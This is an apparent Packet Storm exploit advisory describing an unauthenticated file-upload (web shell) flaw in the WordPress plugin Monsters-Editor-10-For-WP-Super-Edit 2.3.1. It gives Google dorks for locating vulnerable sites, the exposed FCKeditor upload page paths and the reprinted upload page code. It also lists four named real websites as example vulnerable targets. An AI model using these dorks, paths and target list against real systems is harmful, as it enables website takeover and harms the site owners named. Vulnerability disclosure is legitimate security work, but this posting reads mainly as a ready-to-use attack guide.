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WordPress Monsters-Editor-10-For-WP-Super-Edit 2.3.1 Shell Upload

🗓️ 20 Dec 2018 00:00:00Reported by KingSkrupellosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 82 Views

Vulnerability in WordPress Monsters-Editor-10-For-WP-Super-Edit 2.3.1 allows remote shell upload, potentially giving hackers full control over a website running WordPress

Code
`###########################################################################################################  
  
# Exploit Title : WordPress Monsters-Editor-10-For-WP-Super-Edit Plugins  
2.3.1 Remote Shell Upload Vulnerability  
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security  
Army  
# Date : 20/12/2018  
# Vendor Homepage : thedevcouple.com ~  
wordpress.org/plugins/monsters-editor-10-for-wp-super-edit/  
+ github.com/wp-plugins/monsters-editor-10-for-wp-super-edit  
# Software Download Link :  
downloads.wordpress.org/plugin/monsters-editor-10-for-wp-super-edit.zip  
# Tested On : Windows and Linux  
# Category : WebApps  
# Version Information : 2.1 and 2.3.1  
# Exploit Risk : Medium  
# Google Dorks :  
inurl:''/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/''  
+ intext:''Using the fMulti theme design by Fredrik Fahlstad Proudly  
powered by WordPress.''  
+ intext:''Website Design by Cynscreations.com.''  
+ intext:''Powered by Aquino Media | Designed by Aquino Media Group''  
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access  
Controls ]  
+ CWE-434: Unrestricted Upload of File with Dangerous Type  
# Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~  
ayarsecurity.com [ Friend ]  
  
###########################################################################################################  
  
# Exploit :  
  
/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html  
  
/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/browser.html  
  
/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/frmupload.html  
  
# Directory File Path :  
  
/wp-content/uploads/......  
  
/wp-content/uploads/[YEAR]/[MONTH]....  
  
#################################################################################################  
  
# Note : This plugin Monsters-Editor-10-For-WP-Super-Edit contains a very  
serious vulnerability that allowed hackers to gain full control a  
  
modify, upload and execute files on any website running WordPress. With the  
plugin installed on a certain website,  
  
a hacker or malicious person can gain access to the web server via HTTP  
through a backdoor in the pluginas directory.  
  
###########################################################################################################  
  
Vulnerable File Code => /test.html  
  
********************************  
  
<!--  
* FCKeditor - The text editor for Internet - http://www.fckeditor.net  
* Copyright (C) 2003-2007 Frederico Caldeira Knabben  
*  
* == BEGIN LICENSE ==  
*  
* Licensed under the terms of any of the following licenses at your  
* choice:  
*  
* - GNU General Public License Version 2 or later (the "GPL")  
* http://www.gnu.org/licenses/gpl.html  
*  
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")  
* http://www.gnu.org/licenses/lgpl.html  
*  
* - Mozilla Public License Version 1.1 or later (the "MPL")  
* http://www.mozilla.org/MPL/MPL-1.1.html  
*  
* == END LICENSE ==  
*  
* Test page for the "File Uploaders".  
-->  
<html>  
<head>  
<title>FCKeditor - Uploaders Tests</title>  
<script language="javascript">  
  
function SendFile()  
{  
var sUploaderUrl = cmbUploaderUrl.value ;  
  
if ( sUploaderUrl.length == 0 )  
sUploaderUrl = txtCustomUrl.value ;  
  
if ( sUploaderUrl.length == 0 )  
{  
alert( 'Please provide your custom URL or select a default one' ) ;  
return ;  
}  
  
eURL.innerHTML = sUploaderUrl ;  
txtUrl.value = '' ;  
  
frmUpload.action = sUploaderUrl ;  
frmUpload.submit() ;  
}  
  
function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )  
{  
switch ( errorNumber )  
{  
case 0 : // No errors  
txtUrl.value = fileUrl ;  
alert( 'File uploaded with no errors' ) ;  
break ;  
case 1 : // Custom error  
alert( customMsg ) ;  
break ;  
case 10 : // Custom warning  
txtUrl.value = fileUrl ;  
alert( customMsg ) ;  
break ;  
case 201 :  
txtUrl.value = fileUrl ;  
alert( 'A file with the same name is already available. The uploaded file  
has been renamed to "' + fileName + '"' ) ;  
break ;  
case 202 :  
alert( 'Invalid file' ) ;  
break ;  
case 203 :  
alert( "Security error. You probably don't have enough permissions to  
upload. Please check your server." ) ;  
break ;  
default :  
alert( 'Error on file upload. Error number: ' + errorNumber ) ;  
break ;  
}  
}  
  
</script>  
</head>  
<body>  
<table cellSpacing="0" cellPadding="0" width="100%" border="0"  
height="100%">  
<tr>  
<td>  
<table cellSpacing="0" cellPadding="0" width="100%" border="0">  
<tr>  
<td nowrap>  
Select the "File Uploader" to use:<br>  
<select id="cmbUploaderUrl">  
<option selected value="asp/upload.asp">ASP</option>  
<option value="aspx/upload.aspx">ASP.Net</option>  
<option value="cfm/upload.cfm">ColdFusion</option>  
<option value="lasso/upload.lasso">Lasso</option>  
<option value="php/upload.php">PHP</option>  
<option value="">(Custom)</option>  
</select>  
</td>  
<td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>  
<td width="100%">  
Custom Uploader URL:<BR>  
<input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc"  
disabled type="text">  
</td>  
</tr>  
</table>  
<br>  
<table cellSpacing="0" cellPadding="0" width="100%" border="0">  
<tr>  
<td noWrap>  
<form id="frmUpload" target="UploadWindow" enctype="multipart/form-data"  
action="" method="post">  
Upload a new file:<br>  
<input type="file" name="NewFile"><br>  
<input type="button" value="Send it to the Server" onclick="SendFile();">  
</form>  
</td>  
<td style="WIDTH: 16px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>  
<td vAlign="top" width="100%">  
Uploaded File URL:<br>  
<INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text">  
</td>  
</tr>  
</table>  
<br>  
Post URL: <span id="eURL">&nbsp;</span>  
</td>  
</tr>  
<tr>  
<td height="100%">  
<iframe name="UploadWindow" width="100%" height="100%"  
src="javascript:void(0)"></iframe>  
</td>  
</tr>  
</table>  
</body>  
</html>  
  
###########################################################################################################  
  
# Example Vulnerable Sites =>  
  
[+]  
dionysusrecords.com/main/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html  
  
[+]  
dfrere.fr/Blog01/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html  
  
[+]  
mark.langkau.org/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html  
  
[+]  
tonyaquino.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html  
  
###########################################################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
###########################################################################################################  
`

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20 Dec 2018 00:00Current
7.4High risk
Vulners AI Score7.4
82